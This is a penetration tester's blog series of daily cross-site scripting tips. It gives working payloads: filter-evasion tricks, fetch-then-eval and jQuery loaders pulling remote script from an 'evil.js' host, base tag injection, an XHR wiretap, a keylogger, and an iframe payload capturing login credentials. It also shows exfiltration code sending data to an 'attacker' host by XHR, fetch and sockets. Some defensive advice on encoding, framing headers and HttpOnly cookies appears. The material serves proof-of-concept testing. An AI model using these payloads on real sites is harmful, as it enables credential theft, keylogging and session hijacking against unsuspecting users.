This series of daily mini-posts, running from December 12, 2018 to December 24, 2018, is intended to provide cross-site scripting (XSS) related tips. This will range from filter-evasion and payload minification tricks, to old (but still good) classic XSS tips, to scripts that make (or contribute to) interesting proof-of-concept payloads.
Day 1 – Template Literals for Filter Evasion
When building payloads to exploit Cross-Site Scripting (XSS) space is often at a premium. Or we are trying to bypass controls attempting to prevent the exact attack we are trying to pull off. Template literals are a newer addition to JavaScript. But they’re not just for string interpolation. Those backticks are also useful for filter evasion and payload minification. A simple example:
alert`xss`
Saves two characters and eliminates the need for single or double quotes.
Day 2 – Retrieving and running external JS with a JQuery flaw
In the context of network pentests, we often talk about living off the land – using tools that are already there to achieve or goals. The same can apply to cross-site scripting. For example, https://nvd.nist.gov/vuln/detail/CVE-2015-9251 is a jQuery flaw on versions before 3.0.0 that causes AJAX responses with the text/javascript datatype to be executed. It’s incredibly common in the wild. Remember those backticks yesterday? In a lot of cases, you can use them to load and execute a payload without the need for parenthesis, which helps with filter-evasion goodness. As seen here:
$.get`https://tiny.si/evil.js`
Makes for a pretty small payload too.
Day 3 – The simple fetch-then-eval pattern
Yesterday we “lived off the land” with jQuery, but what if you don’t have it and don’t have enough characters for the XMLHttpRequest API? This little pattern might come in handy. The fetch-then-eval pattern.
fetch('https://tiny.si/evil.js').then((r)=>{r.text().then(eval)})
It’s worth noting that both fetch and the arrow-function syntax are younger specs, so browsers released prior to 2015 typically won’t be able to interpret this (including any version of IE).
Day 4 – No forward slashes? No problem.
Forward slashes are a frequent filtering problem, and even more so if you’re trying to work your payload into a Linux-compliant filename. There are workarounds for that too. Consider the following:
`${document.location.href.substr(0,8)}tiny.si${String.fromCharCode(47)}evil.js`
We have a template literal, with one interpolation pattern substringing the full protocol (https://) from the current page, and a second one adding a forward slash to the path by converting from ASCII code 47.
Day 5 – Exploiting Unsafe Eval without Breaking the App
Look for JSON-like structures in uncommon places, like URL-encoded in querystrings. Usually they’re safely deserialized, but on occasion, I’ve seen it converted to a JavaScript object with an eval call, which is totally unsafe. See the console example here:
The first statement is the variable foo being assigned the result of the eval. The second, just the variable name foo, outputs the object. It’s inside an eval, therefore if we can mess with the inline object, we can easily get execution. But let’s take it a step further. We want to execute a payload without breaking the object.
By using the self-executing function syntax (typically used for closures), we can get our code – the alert in this case – to execute, without malforming the object. As you can see in the final statement, the object is unchanged.
Day 6 – Base tag injection
If there are script tags already on the injectable page that reference relative paths, e.g. <script src=”/foo.js”>, you might find the base tag to be a simple and powerful injection payload.
<base href="https://tiny.si">
Injecting the base tag above would make the aforementioned script tag request from https://tiny.si/foo.js instead of the root of the injectable site. As a matter of fact, all relative paths on the site, including hyperlinks, image tags, etc. will be repointed to our new base. This may necessitate some re-writing of content after our injected payload fires, and quite possibly you will need to host the benign content as well.
Be aware that even when injection is possible, a few other things can interfere with this payload. Most notably, 1) a content-security-policy can define a whitelist of base URLs, and 2) if there’s already a base tag on the page (typically inside the <head>), additional base tags are typically ignored.
Day 7 – Easy DOM Element Collection Iteration
One common need when writing proof-of-concept payloads is the ability to iterate over elements on the page and perform some sort of interaction or transformation on them. In the following examples, that interaction is just to alert each matching element’s value. Where jQuery is present and usable, this is often easy, with familiar patterns such as:
$('.text-input').each(function(_,el){alert(el.value)})
However, when jQuery is not available or usable for some reason, it becomes more challenging to accomplish this sort of iteration. The classic approach would be some variant of a loop, link this:
var txts = document.getElementsByClassName('text-input'); for(var i=0;i<txts.length;i++) { alert(txts[i].value); }
That’s verbose though, and uses a fairly wide variety of characters, some of which we can minimize, but there’s a more concise way. The following example accomplishes essentially the same thing, eliminates some of the special characters, and shaves off some length.
[].map.call(document.getElementsByClassName('text-input'), function(i){alert(i.value)})
When is this helpful? One example would be for screen-scraping data from within the user’s session &endash rather than alerting the value, we could exfiltrate it via HTTP request or sockets. Another example would be fitting them with event handlers, like the key-logger that will be shown within the next couple days of this series.
Day 8 – “Wiretapping” the XHR API
Sometimes we really only have time to show basic XSS execution (e.g. your alert pop-up). Other times we are able to build an actual proof-of-concept. An impactful proof-of-concept can help cement the seriousness of the issue, and it can be a lot of fun. The pieces below should give the building blocks for one particular type of proof-of-concept.
Let’s start with a bit of housekeeping – the exfiltration method. The example below is obviously not exfiltrating anything. It’s just logging to the console. This is frequently what I use in payload development, in reality there are a number of options for exfil that can be built in a way that’s compatible with this, so I can just swap one out for the other. Day 12 is going to detail more on exfiltration. So for now, this stub will do. What’s it actually doing? One anonymous function is being assigned to the variable xfilr. This function takes one argument, t, the type or label. Later, we might use this to sort or group the data. This function also returns a new anonymous function that takes one parameter, str. The data we’re exfiltrating will be converted to a string and supplied via str.
var xfilr = (t)=> { return (str)=> { console.log(t + ':') console.log(str) } }
The next piece we have is our tap function. Nothing fancy here, we have a function that takes two arguments, f and t; and does two things. The first is that it runs xfilr above to create an exfiltration function with that t (type) value specified. If it doesn’t receive a t, it uses the function name for f. The second thing is that it returns a function (let’s refer to it as the wrapper function). The wrapper function does two things, 1) it runs the xfil function created by xfilr within the tap function, and 2) it calls the supplied function, f, with the whatever arguments were supplied to the wrapper function itself. Note here, the JSON.stringify works well for objects, but really doesn’t cover all cases well. You might find you need to tweak that to suit your case.
var tap = (f, t) => { var xfil = xfilr(t || f.name); return function(){ xfil(JSON.stringify(arguments)) f.apply(this,arguments) } }
The final part here is to run tap against the XHR prototype on a few select functions. In this case, send
, open
, and addEventListener
. For the addEventListener
one, we’re unpacking the arguments, and making an assumption that there are two, which is a standard call. And we’re tapping the second argument, because that’s where the event handler will be supplied.
XMLHttpRequest.prototype.send = tap(XMLHttpRequest.prototype.send); XMLHttpRequest.prototype.addEventListener = ((f) => {return function() { f.call(this, arguments[0], tap(arguments[1],'res')) }})(XMLHttpRequest.prototype.addEventListener); XMLHttpRequest.prototype.open = tap(XMLHttpRequest.prototype.open);
The net effect is that we can eavesdrop on the native XMLHttpRequest API, which has classically underpinned all AJAX type requests. If this payload (with a real exfil function) were injected into a user’s session, we could essentially listen to all the dynamic requests generated to fetch more data, etc.
Day 9 – A Super-Simple Keylogger
Next is yet another payload. This one is a very simple keylogger that attaches to all the standard input boxes and select elements on the page. We’ll look at it in two parts, starting with some housekeeping, below. We’ve slightly modified the mock exfiltration xfilr function from above. It just prints a bit more tidily this way. There’s also a little helper function, xfSelection, that extracts the interesting parts from the options selected on a select element.
var xfilr = (t)=> { return (str)=> { console.log(`${t}: ${str}`) } } var xfSelection = (e, pf)=> { [].map.call(e.selectedOptions, (o)=>{pf(`${o.value} -- ${o.innerText}`)}) }
Next, we wire them up. Using that [].map.call method for iterating elements as we did on Day 7, we create an x (exfiltration) function for each element with its name attribute in the closure. We then call it to exfiltrate the initial value. This is important, because the user will never trigger the other events for hidden inputs on the page, but we may still want to know their values. Then we hook onto the keyup event handler, to exfiltrate individual keypresses. We’ve also hooked the onblur event so that we can capture the value when the user leaves the textbox.
;[].map.call(document.getElementsByTagName('input'),(i)=>{ var x = xfilr(i.name); x(`init - ${i.value}`); i.onkeyup=(e)=>{ x(e.key) }; i.onblur=(e)=>{ x(`${e.type} - ${e.target.value}`) }}) ;[].map.call(document.getElementsByTagName('select'),(i)=>{ var x = xfilr(i.name); xfSelection(i,x); i.onblur=(e)=>{ xfSelection(e.target,x) }})
We follow almost the identical pattern for the select elements, except we only want the onblur event for them. And we’re using our xfSelection helper to help format the data, since it’s not quite as straightforward to access, and we may be interested in both the value and the text.
Day 10 – Extending Our Reach Same-Site Through iFrames
For day ten, we have yet another payload. This one is a little more exotic. Very good technical people who are uninitiated in the particulars of XSS have historically struggled to grasp the significance of the flaw. Better training and knowledge-sharing have mitigated a lot of that issue, but we still hear the defense that the flaw is on a page that doesn’t have anything sensitive. One problem with this is that a flaw on one page has a certain amount of access to other pages that are same-origin. Let’s look at an example. Imagine we have this following plain old login form, that doesn’t have any XSS flaws:
<!-- https://professionallyevil.com/login.html --> <h1>Login</h1> <form> Username: <input type="text" name="Username"><br /> Password: <input type="password" name="Password"><br /> <button type="submit">Login</button> </form>
Okay, that’s a little crude, but it provides a simple example for us. A login form is one optimal place to get a XSS flaw, because then we can hook up some key-logging like we showed in Day 9, and capture credentials as the target user logs in. But this form, in our example, has no injection flaws. Instead, we find one on the Forgot My Password form. And maybe we can get something into the URL, maybe we need to use another page to submit a POST there, but in either case we can get a payload executed on that page. And the payload we execute looks like the one included in the script
tags below.
<!-- https://professionallyevil.com/forgotpassword.html --> <h1>Forgot Password</h1> <form> Email Address<input type="text" name="email"><script name="injection" type="text/javascript"> var xfilr = function() { return function(e) { console.log(`${e.target.name}|${e.target.value}`) } } document.body.innerHTML = `<div style="display:none">${document.body.innerHTML}</div>`; var iframe = document.createElement('iframe'); iframe.onload = function() { [].map.call(iframe.contentWindow.document.body.getElementsByTagName('input'),function(e){ e.onblur=xfilr(); }); } iframe.style = 'display:block;width:100vw;100vh;max-width:100%;margin:0;padding:0;border:0 none;box-sizing:border-box;'; iframe.src = '/login.html'; document.body.appendChild(iframe); </script> </form>
Let’s walk through what’s going on in the script. First we declare out xfilr function, which is a customization of the others we used on previous payloads. Skip down to after that closes off, and you get a manipulation of the current page, we’re putting its contents inside of a div
with a style attribute of display:none
. Effectively, we’re hiding the contents of the current page with that. Then we’re creating an iframe
element, and hooking up an onload event handler for it. We’ll come back to that event handler in a moment. Skipping down below that, we’re applying a style to the iframe that will allow it to seamlessly fill the viewing area of the browser window, and finally we’re setting the URL to the login page, and appending it to the document. At this point, the login page will be loaded and displayed in the current window, and it will look exactly like login page should. And that onload event handler will fire, using that [].map.call once again to iterate input
elements and hook up a simple exfiltration function on the blur event (when the user leaves the field). But if you notice the reference to iframe.contentWindow – it’s not acting on the inputs on the forgotpassword.html page, it’s acting on the elements inside the iframe
, on the login form. The live example of this is as follows:
It’s important to note that a crucial element of this is that accessing the page in the iframe is only possible when the parent and child (framed) pages share the same origin. But there are two defenses here that can help. 1) Don’t have the injection flaw – for XSS, the best way to make user-supplied content safe is to HTML encode it. 2) If there’s no valid business-need for the page to be inside an iframe, return it with the x-frame-options: deny
HTTP response header. This instructs the browser not to render the page inside an iframe. While this certainly is not going to make it okay to have the XSS flaw, it will mitigate this particular approach to the attack.
Day 11 – Cross-site Scope Considerations
For the eleventh day, we’re going to do something a little less exciting than payloads. This one is a tip, and it’s a really important reminder. If you have found an XSS flaw, consider the impacted scope carefully. Based on the Day 10 post, I think it’s fair to say that an XSS can reach other pages on same-origin fairly easily. Let’s look beyond that, at three other key things.
If you’re evaluating the security of a web application, you’re no doubt examining the CORS policy, if there is one. An attacker with XSS can send requests from same-origin, so obviously they don’t care about the CORS on that vulnerable app. They’re both concerns, but they’re separate concerns. However, for the sake of explanation, lets say vulnapp.professionallyevil.com is our XSS injectable app. Maybe it’s backed by a service API at api.professionallyevil.com, which returns an access-control-allow-origin: https://vulnapp.professionallyevil.com
header. It’s pretty common these days for applications to be heavily driven by an API so even though it’s cross-origin, we’d still essentially be attacking our injectable app. That’s a valid attack, but it’s worth looking further. What if there’s another, essentially unrelated API at other-api.professionallyevil.com? This is also cross-origin, so same-origin policy applies unless there’s a CORS policy. However, maybe several other apps at subdomains of professionallyevil.com use that other-api. And so maybe, when its CORS policy was implemented, it was just more convenient to do a pattern-based match reflecting any origin that is a subdomain of professionallyevil.com into the access-control-allow-origin
response header. The implication is that perhaps we can leverage flaws on vulnapp.professionallyevil.com to make authenticated requests to unrelated APIs, most prominently (but not exclusively) those controlled by the same company. This is entirely dependent on the how the target API has implemented its CORS policy, and what specific mechanism is handling authentication and authorization (where they’re using session cookies, and/or certain HTTP auth schemes such as Basic, Digest, and NTLM, it’s more likely to be exploitable). For more detail on CORS, I’d suggest a post I wrote earlier this year: Three C-Words of Web App Security: Part 1 – CORS
The second key scoping consideration to remember is cookies themselves. There may be other things on subdomains on the same parent domain that are setting cookies. Let’s say blog.professionallyevil.com is one of them. But let’s say it’s setting them like this:
Set-Cookie: session=123abcdef; Domain=.professionallyevil.com; Secure;
There are a couple of key problems here, and as a result, our XSS on vulnapp.professionallyevil.com can access and steal this session cookie. If an attacker gets this cookie by having a user with a valid session on the blog browse to the vulnapp.professionallyevil.com page with the XSS payload, they can then leverage this to gain access to authenticated functions of the blog without actually logging in. The problems: 1) This cookie should have been set with a domain of blog.professionallyevil.com, if the cookie is only used for blog.professionally.com. 2) This cookie should have been set with the HttpOnly flag, which prevents JavaScript from accessing it. The JavaScript DOM property document.cookie
returns a string of those cookies that have been set in the current browser, and are JavaScript-accessible. My guidance on when to use the HttpOnly flag, is always – unless you can’t. The default should be to use it. It’s not really a big deal if it’s absent from cookies that aren’t very sensitive, such as cookies used for analytics. I would say, however, that not setting it on a cookie used for authentication and authorization (like a session cookie) poses an unacceptable risk.
One final scope consideration there are several other attacks that typically rely on directing the user to a malicious site. CORS abuse, Cross-Site Request Forgery (CSRF), and plain vanilla credential phishing all stand out. An attacker can exploit a cross-site scripting flaw to make the vulnerable app into that malicious site. By doing so, they can use a domain and branding that the user already trusts, and also evade some of the anti-phishing controls that browsers have rolled out, such as Google’s Safe Browsing.
Day 12 – Exfiltration
For the final day of XSSmas, we’ll finally address exfiltration of data, or passing it off to our simulated attack server. There are three common methods for doing this, two of which we mentioned earlier.
Let’s start with the XMLHttpRequest (XHR) API. This is essentially sending a classic AJAX request to the server containing whatever data we want it to log. The main pro of this is that it’s a legacy API, so even if our target user is running a very old browser, we can still make it work. A simple example might like something like this:
function(type, payload) { var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.tiny.si/?t=' + type, true); xhr.send(JSON.stringify(payload)); }
The next option is the Fetch API. Functionally this isn’t terribly different, but it’s more concise. Unlike XHR, it’s a fairly young interface, so browsers more than a few years old may not have a standard implementation of it. The following example is analogous to the XHR one, but with fetch
instead.
function(type, payload) { fetch(`https://attacker.tiny.si/?t=${type}`, { method: 'POST', body: JSON.stringify(payload) }); }
Finally, a sockets-based approach is an option. It’s a little more complex to set up, but is commonly used for real-time, duplexed communication. This makes it a better choice for command-and-control or for frequently firing events like a keylogger capturing every keystroke, as we did on day 9. This typically also necessitates pulling in another client library, like Socket.io, unless there’s already one present. The following example uses socket.io. First to establish the connection:
var socket = io.connect('https://attacker.tiny.si/xsocket');
We typically just want to do that once, but keep the socket
variable in the global scope. Then, when we process an event, we emit
it to the socket. In this case, we’re likely to actually construct a payload containing more metadata.
socket.emit('xfil', JSON.stringify(payload);
So, between the range of options, the client-side payloads, and details of organizing captured data, you can probably guess that even though each exploit is somewhat unique, there’s a lot reusable code involved. To help you out, I’d like to share CSIK – the Client Script Injection Kit:
https://github.com/ProfessionallyEvil/csik
This simple python/flask server is bundled with some basic exfiltration payloads, and provides endpoints with data-logging functionality to capture the data you exfiltrate in your proof-of-concept code. Head over to Github and take a look!